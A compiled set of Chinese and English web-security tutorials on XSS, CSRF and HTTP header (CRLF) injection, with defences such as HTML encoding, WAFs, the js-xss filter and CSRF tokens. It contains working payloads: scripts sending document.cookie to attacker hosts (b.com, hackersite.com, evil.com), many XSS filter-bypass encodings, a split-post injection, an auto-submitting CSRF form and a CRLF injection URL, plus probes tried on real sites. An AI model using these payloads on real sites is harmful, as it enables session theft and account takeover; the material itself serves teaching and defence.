XSS攻击及防御 - 高爽|Coder - CSDN博客 https://blog.csdn.net/ghsau/article/details/17027893

XSS又称CSS，全称Cross SiteScript，跨站脚本攻击，是Web程序中常见的漏洞，XSS属于被动式且用于客户端的攻击方式，所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码，当其它用户浏览该网站时，这段HTML代码会自动执行，从而达到攻击的目的。如，盗取用户Cookie、破坏页面结构、重定向到其它网站等。

XSS攻击

XSS攻击类似于SQL注入攻击，攻击之前，我们先找到一个存在XSS漏洞的网站，XSS漏洞分为两种，一种是DOM Based XSS漏洞，另一种是Stored XSS漏洞。理论上，所有可输入的地方没有对输入数据进行处理的话，都会存在XSS漏洞，漏洞的危害取决于攻击代码的威力，攻击代码也不局限于script。

【DOM Based XSS】基于网页结构的攻击

DOM Based XSS是一种基于网页DOM结构的攻击，该攻击特点是中招的人是少数人。

场景一：

当我登录a.com后，我发现它的页面某些内容是根据url中的一个叫content参数直接显示的，猜测它测页面处理可能是这样，其它语言类似：

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<!DOCTYPEhtmlPUBLIC"-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd">
<html>
    <head>
       <title>XSS测试</title>
    </head>
    <body>
       页面内容：<%=request.getParameter("content")%>
    </body>
</html>
我知道了Tom也注册了该网站，并且知道了他的邮箱(或者其它能接收信息的联系方式)，我做一个超链接发给他，超链接地址为：http://www.a.com?content=<script>window.open(“www.b.com?param=”+document.cookie)</script>，当Tom点击这个链接的时候(假设他已经登录a.com)，浏览器就会直接打开b.com，并且把Tom在a.com中的cookie信息发送到b.com，b.com是我搭建的网站，当我的网站接收到该信息时，我就盗取了Tom在a.com的cookie信息，cookie信息中可能存有登录密码，攻击成功！这个过程中，受害者只有Tom自己。那当我在浏览器输入a.com?content=<script>alert(“xss”)</script>，浏览器展示页面内容的过程中，就会执行我的脚本，页面输出xss字样，这是攻击了我自己，那我如何攻击别人并且获利呢？

【Stored XSS】存储⑩XSS漏洞

Stored XSS是存储式XSS漏洞，由于其攻击代码已经存储到服务器上或者数据库中，所以受害者是很多人。

场景二：

a.com可以发文章，我登录后在a.com中发布了一篇文章，文章中包含了恶意代码，<script>window.open(“www.b.com?param=”+document.cookie)</script>，保存文章。这时Tom和Jack看到了我发布的文章，当在查看我的文章时就都中招了，他们的cookie信息都发送到了我的服务器上，攻击成功！这个过程中，受害者是多个人。
Stored XSS漏洞危害性更大，危害面更广。

XSS防御

我们是在一个矛盾的世界中，有矛就有盾。只要我们的代码中不存在漏洞，攻击者就无从下手，我们要做一个没有缝的蛋。XSS防御有如下方式。

完善的过滤体系

永远不相信用户的输入。需要对用户的输入进行处理，只允许输入合法的值，其它值一概过滤掉。

【标签转换 Html encode】

假如某些情况下，我们不能对用户数据进行严格的过滤，那我们也需要对标签进行转换。

less-than character (<)
<
greater-than character (>)
>
ampersand character (&)
&
double-quote character (")
"
space character( )
 
Any ASCII code character whose code is greater-than or equal to 0x80
&#<number>, where <number> is the ASCII character value.
比如用户输入：<script>window.location.href=”http://www.baidu.com”;</script>，保存后最终存储的会是：<script>window.location.href="http://www.baidu.com"</script>在展现时浏览器会对这些字符转换成文本内容显示，而不是一段可执行的代码。

受害者是合法用户，而不是目标网站

https://www.incapsula.com/web-application-security/cross-site-scripting-xss-attacks.html

Stored XSS Attack Example

While browsing an e-commerce website, a perpetrator discovers a vulnerability that allows HTML tags to be embedded in the site's comments section. The embedded tags become a permanent feature of the page, causing the browser to parse them with the rest of the source code every time the page is opened.

The attacker adds the following comment: Great price for a great item! Read my review here <script src="http://hackersite.com/authstealer.js"> </script>.

From this point on, every time the page is accessed, the HTML tag in the comment will activate a JavaScript file, which is hosted on another site, and has the ability to steal visitors' session cookies.

Using the session cookie, the attacker can compromise the visitor’s account, granting him easy access to his personal information and credit card data. Meanwhile, the visitor, who may never have even scrolled down to the comments section, is not aware that the attack took place.

Unlike a reflected attack, where the script is activated after a link is clicked, a stored attack only requires that the victim visit the compromised web page. This increases the reach of the attack, endangering all visitors no matter their level of vigilance.

From the perpetrator's standpoint, persistent XSS attacks are relatively harder to execute because of the difficulties in locating both a trafficked website and one with vulnerabilities that enables permanent script embedding.

What is Cross Site Scripting (XSS)

Cross site scripting (XSS) is a common attack vector that injects malicious code into a vulnerable web application. XSS differs from other web attack vectors (e.g., SQL injections), in that it does not directly target the application itself. Instead, the users of the web application are the ones at risk.

A successful cross site scripting attack can have devastating consequences for an online business's reputation and its relationship with its clients.

Depending on the severity of the attack, user accounts may be compromised, Trojan horse programs activated and page content modified, misleading users into willingly surrendering their private data. Finally, session cookies could be revealed, enabling a perpetrator to impersonate valid users and abuse their private accounts.

Cross site scripting attacks can be broken down into two types: stored and reflected.

Stored XSS, also known as persistent XSS, is the more damaging of the two. It occurs when a malicious script is injected directly into a vulnerable web application.

Reflected XSS involves the reflecting of a malicious script off of a web application, onto a user's browser. The script is embedded into a link, and is only activated once that link is clicked on.

What is Stored Cross Site Scripting

To successfully execute a stored XSS attack, a perpetrator has to locate a vulnerability in a web application and then inject malicious script into its server (e.g., via a comment field).

One of the most frequent targets are websites that allow users to share content, including blogs, social networks, video sharing platforms and message boards. Every time the infected page is viewed, the malicious script is transmitted to the victim's browser.

Stored XSS Attack Prevention/Mitigation

A web application firewall (WAF) is the most commonly used solution for protection from XSS and web application attacks.

WAFs employ different methods to counter attack vectors. In the case of XSS, most will rely on signature based filtering to identify and block malicious requests.

In accordance with industry best-practices, Imperva Incapsula's web application firewall also employs signature filtering to counter cross site scripting attacks.

Incapsula WAF is offered as a managed service, regularly maintained by a team of security experts who are constantly updating the security rule set with signatures of newly discovered attack vectors.

Incapsula crowdsourcing technology automatically collects and aggregates attack data from across its network, for the benefit of all customers.

The crowdsourcing approach enables extremely rapid response to zero-day threats, protecting the entire user community against any new threat, as soon as a single attack attempt is identified.

Crowdsourcing also enables the use of IP reputation system that blocks repeated offenders, including botnet resources which tend to be re-used by multiple perpetrators.

前端常见的攻击方式及预防方法 - 简书 https://www.jianshu.com/p/a5ff8a23b423

2017.05.15 17:27* 字数 3779 阅读 2521评论 1喜欢 8

1.XSS (Cross Site Script) ，跨站脚本攻击

有句话说

所有的输入都是有害的。

跨站脚本是最常见的计算机安全漏洞，跨站脚本攻击指的是恶意攻击者往Web页面里插入恶意html代码，当用户浏览该页之时，嵌入的恶意html代码会被执行，对受害用户可能采取Cookie资料窃取、会话劫持、钓鱼欺骗等各种攻击。
xss给人留下的印象：

"xss? 不就是弹出个对话框给自己看吗？"
“跨站脚本是在客户端执行，xss漏洞关我什么事！”
“反正xss不能窃取我的root权限。”

其实，随着web2.0信息分享模式和社交网络的发展，xss衍生出的攻击危害还是很大的。最早的MySpace的xss蠕虫攻击，传染了100多万用户，网站瘫痪，后来的知名网址如微博就爆发了xss蠕虫攻击，持续了16分钟。

危害：

网络钓鱼，包括窃取用户账号；
窃取用户cookies资料，从而获得用户隐私信息，或利用用户身份进一步对网站执行操作；
劫持用户会话，进行非法转账、强制发表日志、发送电子邮件等；
强制弹出广告、刷流量等；
恶意操作，删除文章等；
网页挂马；
传播跨站脚本蠕虫等
.....

举个简单栗子：

假如你现在是站点上一个用户，发布信息的功能存在漏洞可以执行js。你在此刻输入一个恶意脚本，那么当前所有看到你新信息的人的浏览器都会执行这个脚本弹出提示框（很爽吧弹出广告：）），如果你做一些更为激进行为呢？后果难以想象。

反射型XSS

早期，通过url的输入，将恶意脚本附加到URL地址的参数中。能够弹出一个警告框，说明跨站脚本攻击漏洞存在。特点：单击时触发，执行一次。
通常出现在网站的搜索栏、用户登入口等地方。
http://weibo.com/login.php?'u=1931138954'<script>alert(/ssss/)</script>

XSS 跨框架钓鱼

怎么构造钓鱼？使用标签iframe.
http://weibo.com/login.php?'u=1931138954'<iframe src='http://www.baidu.com'/>

假如这是一个银行网银登录的网站，存在这样的漏洞，那我们作为攻击者，我可以构造一个类似的页面，把它原有的登录框覆盖掉。我可以把这个链接发给被攻击者，以邮件或者其他的方式，这里需要用到的技术是社会工程学，诱使被攻击者访问这个链接，最终欺骗他来登录，而攻击者就可以轻易的拿到被攻击者的账号和密码信息。也有人问，发过去的这个链接带有这样的标志或参数，被攻击者一眼就能看出来。在这里，我们可以对这段代码进行编码，不管是url的编码还是其他方式的编码，也就是说，被攻击者一眼看不出来这个异常，所以就会被诱使去访问这个链接，最终造成影响。这个是钓鱼攻击。

现在大部分主流浏览器已经对url攻击做了预防方法。
比如在老问吧输入： https://bar.focus.cn/s?keywords=<script>alert(1)</script>

chrome：直接报错

ie：下面会有弹窗提示阻止跨站点脚本攻击

搜狗：页面结果过滤插入的代码，控制台输出提示做了xss防御

危险：
网站的用户就有被冒名顶替的风险。也就是我们的cookie信息被获取，我们就存在有被冒名顶替的风险。
我们刚才获取cookie的信息不是让它alter告警方式展示给用户，而是通过脚本程序将我们函数获取的cookie信息，发送至远程的恶意网站，远程的这个恶意网站是专门用来接收当前的cookie信息的，当被攻击者触发这个漏洞以后，它当前用户的cookie信息就会被发送到远端的恶意网站。攻击者登录恶意网站，查看到cookie信息后可以对这个用户的控制权限进行冒名顶替。

HTML注入式钓鱼
直接利用XSS漏洞注射HTML/JavaScript代码到页面中，或者是把用户输入的数据”存储“在服务器端。比如登录密码直接设置为<script>alert(1)</script>，存入数据库中。

常见解决办法:

设计xss Filter，分析用户提交的输入，并消除潜在的跨站脚本攻击、恶意的HTML等。在需要html输入的地方对html标签及一些特殊字符( ” < > & 等等 )做过滤，将其转化为不被浏览器解释执行的字符。

再举个栗子：

用ie在问吧的搜索输入<script>alert('包小姐')</script>

输入<script>alert(document.cookie)</script>

在微博同样在搜索输入<script>alert('包小姐')</script>

在知乎搜索输入<script>alert('hello')</script>

在知乎修改密码为：<script>alert('包小姐')</script>
结果：没反应，控制台报错HTTP405: 错误方法 - 不支持使用的 HTTP 谓词。

持久型xss

攻击者事先将恶意js代码上传或存储到漏洞服务器中，只要受害者浏览包含此恶意js代码的页面就会执行恶意代码。

通常出现在网站的留言、评论、博客日志等。
危害：不需要单击URL触发，危害比反射型xss大，更严重的是能编写xss蠕虫（利用ajax/js 编写的蠕虫病毒，能够在网站中实现病毒的几何数级传播，其感染速度和攻击效果都很可怕）。
(1)寻找xss点
发掘个人档案、日志、留言等地方的xss漏洞
(2)实现蠕虫行为
将xss shellcode写进xss点（例如个人档案），引诱用户查看，攻击者利用ajax修改受害用户的个人档案信息，将恶意的代码复制进去。随后任何查看受害者个人档案的也会被感染，执行重复操作，直到xss蠕虫传播。

绕过xss Filter：

1、利用<>标记注射HTML/js

解决：过滤和转义<>或<script>等字符，从而过滤某些形式的xss<script>shellcode</script>

2、利用HTML标签属性值执行xss

<table background="javascript:alert(/xss/)"></table>
![](javascript:alert('xss');)
解决：过滤JavaScript等关键字。

3、空格回车Tab

利用空车、回车和Tab键绕过限制，![](javas cript:alert(/xss/))

4、对标签属性值转码

HTML属性值支持ASCII形式，![](javascrip&#116&#58alert(/xss/);)
解决：最好也过滤&#\等字符。

5、产生自己的事件

![](#)，只要图片不存在就会触发onerror事件

6、利用css跨站剖析

使用css样式表执行javascript具有隐蔽、灵活多变的特点

<div style="background-image:url(javascript:alert('xss')">
<style>
  <body {background-image:url("javascript:alert('xss')");}
</style>

使用link或import引用css<link rel="stylesheet" href="http://www.evil.com/attack.css">
p {background-image: expression(alert("xss"));}
<style type='text/css'>@import url(http://www.evil.com/xss.css);</style>
解决：禁用style标签，过滤标签时过滤style属性，过滤含expression、import等敏感字符的样式表

7、扰乱过滤规则

大小写混淆，不使用引号<iMg sRC="jaVasCript:alert(0);">
全角字符<div style="{left: ｅｘｐｒｅｓｓｉｏｎ（ａｌｅｒｔ(0)）}">
/**/会被浏览器忽略 <div style="wid/****/th: expre/*XSS*/ssion(alert('xss'));">
\和\0 被浏览器忽略@\0im\port'\0ja\vasc\ript:alert("xss");
e转换成\65 <p style="xss:\65xpression(alert(/xss/))">

字符编码：

可以让xss代码绕过服务端的过滤，还能更好地隐藏Shellcode
![](javascript:alert('XSS');)
进行十进制转码后得到
![](&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#39&#88&#83&#83&#39&#41&#59)
用eval()执行10进制脚本
![](javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41)))
style属性中经过十六进制编码逃避过滤

<div style="xss:expression(alert(1));"></div>
<img STYLE="background-image:\75\72\6c\28\6a\61\76\61\73\63\72\69\70\74\3a\61\6c\65\72\74\28\27\58\53\53\27\29\29">

等等其他编码方式
还有js支持unicode、escapes、十六进制、八进制等编码形式，如果运用于跨站攻击，能大大加强xss的威力。

拆分跨站法

当程序没有过滤xss关键字符，却对输入字符长度有限制时。
比如：使用拆分法连续发表4篇文章

标题1：<script>z='<script src=';/*
标题2：/z+='http://www.test.c';/
标题3：/z+='n/1.js></script>';/
标题4：/*document.write(z)</script>

/* * / 在脚本标签中是注释，/和/之间的字符被忽略，最终转成：

<script>z='<script src=';
z+='http://www.test.c';
z+='n/1.js></script>';
document.write(z)</script>

脚本顺利执行。
等等还有很多攻击方式与调用shellcode的方法，这里就不一一讲述了。。。。

防御

确认客户端生成数据的唯一安全方法就是在服务器端实施保护措施。
（1）输出编码

< 转成 & lt ;
*> 转成 & gt;
& 转成 & amp;
...

（2）白名单、黑名单
（3）URL属性

规定href和src是以http://开头；
规定不能有十进制和十六进制的编码字符
规定属性以双引号“界定

前端防御组件：js-xss

js-xss是一个用于对用户输入的内容进行过滤，以避免遭受XSS攻击的模块，一般是基于黑白名单的安全过滤策略。

特性
（1）白名单控制允许的HTML标签及各标签的属性
（2）通过自定义处理函数，可对任意标签及其属性进行处理
安装

NPM

$ npm install xss

使用方法

在node.js中使用

const xss = require('xss');
$('.btnSure').on('click', function(){
  let result = xss($('.input').val());
  putout.html(result);
});

结果：能够显示出输入的代码，而不是出现alert弹窗。

自定义过滤规则

通过 whiteList 来指定，格式为：{'标签名': ['属性1', '属性2']} 。不在白名单上的标签将被过滤，不在白名单上的属性也会被过滤。以下是示例：

// 只允许a标签，该标签只允许 title这个属性
let options = {
  whiteList:{
    a: ['title']
  }
};
// 使用以上配置后，下面的HTML
// <a href="https://bar.focus.cn" title="问吧">问吧问吧</a>
// 将被过滤为
// <a title="问吧">问吧问吧</a>

自定义CSS过滤器

如果配置中允许了标签的 style属性，则它的值会通过cssfilter 模块处理。cssfilter模块包含了一个默认的CSS白名单，你可以通过以下的方式配置：

myxss = new xss.FilterXSS({
  css: {
    whiteList: {
      position: /^fixed|relative$/,
      top: true,
      left: true,
    }
  }
});
html = myxss.process('<script>alert("xss");</script>');

去掉不在白名单上的标签

通过stripIgnoreTag来设置：

let options = {
  whiteList:{
    'a': ['title']
  },
  stripIgnoreTag: true
};

结果：
code:<script>alert('问吧');</script>过滤为code:alert('问吧');

去掉不在白名单上的标签及标签体

通过stripIgnoreTagBody来设置：

let options = {
  whiteList:{
    'a': ['title']
 },
  stripIgnoreTag: ['script']
};

结果：
code:<script>alert('问吧');</script>过滤为code:

参考资料：
《XSS跨站脚本攻击剖析与防御》邱永华

2.CSRF(Cross Site Request Forgery)，跨站点伪造请求。

攻击者通过各种方法伪造一个请求，模仿用户提交表单的行为，从而达到修改用户的数据，或者执行特定任务的目的。
简单例子：

在某个论坛管理页面，管理员可以在list.php页面执行删除帖子操作，根据URL判断删除帖子的id，像这样的一个URL

http://localhost/list.php?action=delete&id=12

当恶意用户想管理员发送包含CSFR的邮件，骗取管理员访问http://test.com/csrf.php,在这个恶意网页中只要包含这样的html语句就可以利用让管理员在不知情的情况下删除帖子了

<img alt="" arc="http://localhost/list.php?action=delete&id=12"/>

这个利用了img的src可以跨域请求的特点，这种情况比较少，因为一般网站不会利用get请求修改资源信息。
但是恶意网站这么写一样可以攻击：

<!DOCTYPE html>
<html>
　　<body>
　　　　<iframe display="none">
　　　　　　<form method="post" action="http://localhost/list.php">
　　　　　　　　<input type="hidden" name="action" value="delete">
　　　　　　　　<input type="hidden" name="id" value="12">
                <input id="csfr" type="submit"/>
　　　　　　</form>
　　　　</iframe>
        <script type="text/javascript">
      　　　　 document.getElementById('csfr').submit();
　　　　</script>
　　</body>
</html>

解决的思路有:

1.采用POST请求,增加攻击的难度.用户点击一个链接就可以发起GET类型的请求。而POST请求相对比较难，攻击者往往需要借助javascript才能实现。
2.对请求进行认证，确保该请求确实是用户本人填写表单并提交的，而不是第三者伪造的.具体可以在会话中增加token,确保看到信息和提交信息的是同一个人。（验证码）

3.Http Heads攻击

HTTP协议在Response header和content之间，有一个空行，即两组CRLF（0x0D 0A）字符。这个空行标志着headers的结束和content的开始。“聪明”的攻击者可以利用这一点。只要攻击者有办法将任意字符“注入”到headers中，这种攻击就可以发生。

以登陆为例:有这样一个url:
http://localhost/login?page=http%3A%2F%2Flocalhost%2Findex
当登录成功以后，需要重定向回page参数所指定的页面。下面是重定向发生时的response headers.
HTTP/1.1 302 Moved Temporarily Date: Tue, 17 Aug 2010 20:00:29 GMT Server: Apache mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Location: http://localhost/index

假如把URL修改一下，变成这个样子：
http://localhost/login?page=http%3A%2F%2Flocalhost%2Fcheckout%0D%0A%0D%0A%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E

那么重定向发生时的reponse会变成下面的样子：
HTTP/1.1 302 Moved Temporarily
Date: Tue, 17 Aug 2010 20:00:29 GMT
Server: Apache mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
Location: http://localhost/checkout<CRLF>
<CRLF>
<script>alert('hello')</script>

这个页面可能会意外地执行隐藏在URL中的javascript。类似的情况不仅发生在重定向（Location header）上，也有可能发生在其它headers中，如Set-Cookie header。这种攻击如果成功的话，可以做很多事，例如：执行脚本、设置额外的cookie（<CRLF>Set-Cookie: evil=value）等。
避免这种攻击的方法，就是过滤所有的response headers，除去header中出现的非法字符，尤其是CRLF。

服务器一般会限制request headers的大小。例如Apache server默认限制request header为8K。如果超过8K，Aapche Server将会返回400 Bad Request响应。
对于大多数情况，8K是足够大的。假设应用程序把用户输入的某内容保存在cookie中,就有可能超过8K.攻击者把超过8k的header链接发给受害者,就会被服务器拒绝访问.解决办法就是检查cookie的大小,限制新cookie的总大写，减少因header过大而产生的拒绝访问攻击
测试:
结果控制台输出：SEC7130: “http://weibo.com/u/1931138954/home?wvr=5&lf=reg%2Fcheckout%0D%0A%0D%0A%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E”中检测到可能的跨站点脚本操作。内容已被 XSS 筛选器修改。

XSS CSS Cross SiteScript 跨站脚本攻击的更多相关文章

渗透之路基础 -- 跨站脚本攻击XSS
目录漏洞原理及防御 XSS 原理分析:输出问题导致js代码被识别执行 XSS 技术分类 Cookie盗取基于Xss的WebShell箱子的攻击 XSS相关防护过滤及绕过分析(参考链接) 防护: 绕 ...
WebGoat学习——跨站脚本攻击(Cross‐Site Scripting (XSS)）
跨站脚本攻击(Cross‐Site Scripting (XSS)) XSS(Cross Site Script)跨站脚本攻击.是指攻击者向被攻击Web 页面里插入恶意html代码,当用户浏览该页之时 ...
跨站脚本攻击(Cross‐Site Scripting (XSS)）
跨站脚本攻击(Cross‐Site Scripting (XSS)) 跨站脚本攻击(Cross‐Site Scripting (XSS)) XSS(Cross Site Script)跨站脚本攻击.是 ...
XSS 跨站脚本攻击(Cross Site Scripting)
xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻击中,通过插入恶意 ...
Web安全相关（一）：跨站脚本攻击（XSS）
简介跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS.恶意攻击者往Web页 ...
跨站脚本攻击XSS
跨站脚本攻击(Cross Site Script为了区别于CSS简称为XSS)指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到 ...
Magicodes.WeiChat——使用AntiXssAttribute阻止XSS（跨站脚本攻击）攻击
跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS.恶意攻击者往Web页面里插 ...
PHP漏洞全解(四)-xss跨站脚本攻击
本文主要介绍针对PHP网站的xss跨站脚本攻击.跨站脚本攻击是通过在网页中加入恶意代码,当访问者浏览网页时恶意代码会被执行或者通过给管理员发信息的方式诱使管理员浏览,从而获得管理员权限,控制整个网站 ...
XSS(跨站脚本攻击)漏洞解决方案
首先,简单介绍一下XSS定义: 一 . XSS介绍 XSS是跨站脚本攻击(Cross Site Scripting)的缩写.为了和层叠样式表CSS(Cascading Style Sheets)加以区 ...

随机推荐

Atitit.html解析器的选型 jsoup nsoup ，java c# .net 版本
Atitit.html解析器的选型 jsoup nsoup ,java c# .net 版本 1. 框架选型的要求1 1.1. 文档多1 1.2. 跨平台1 2. html解析器特性:1 2.1. j ...
nginx整合php+lua+oracle环境搭建
nginx整合php+lua+oracle环境搭建标签: nginxluaoraclephplinux -- : 1473人阅读评论() 收藏举报分类: 技术() 版权声明:本文为博主原创文章 ...
设置MATLAB中Current Folder的默认文件夹（转载）
设置MATLAB中Current Folder的默认文件夹在我们使用MATLAB的过程中,其Current Folder面板会给我们带来一定的便利性.但遗憾的是,MATLAB自身没有提供友好的设置界 ...
datatable.js 服务端分页+fixColumns列固定
前言记得还是15年的时候,工作需要,独自写后台管理系统..记得那时候,最让我头疼的不是后台逻辑,而是数据的列表展示. 列很多的时候,页面显示问题;分页样式问题;表格样式问题;数据加载...很多细节的 ...
Android.mk介绍
Secrets of Android.mk Intro to Android.mk Simple example NDK Usage Defining Modules Simple APK APK D ...
.net 编译原理
这听起来像是个非常高大上的名字,上学的时候我们学过的编译原理或者编译技术实际上是在讲如何将高级程序语言如C++编译为计算机可以理解的汇编语言,这里说的编译原理只是想说明在.NET的世界里编译这件事儿和 ...
第一百四十三节，JavaScript，利用封装库做百度分享
JavaScript,利用封装库做百度分享效果图 html代码 <div id="share"> <h2>分享到</h2> <ul> ...
JavaScript能否操作cookie和session？
JavaScript能否操作cookie和session? 解答:JavaScript可以操作cookie,但是不能操作session
【Python】求素数-未经过任何优化
print 'Find prime number smaller then input number \n' print 'Please input a number:' import time nu ...
ThreadLocal分析
我们再介绍一个在多线程环境中经常使用的类ThreadLocal,它是java为解决多线程程序的并发问题提供了一种新的方向,使用这个ThreadLocal类可以帮助开发者很简单地编写出简洁的程序,并且是 ...

XSS CSS Cross SiteScript 跨站脚本攻击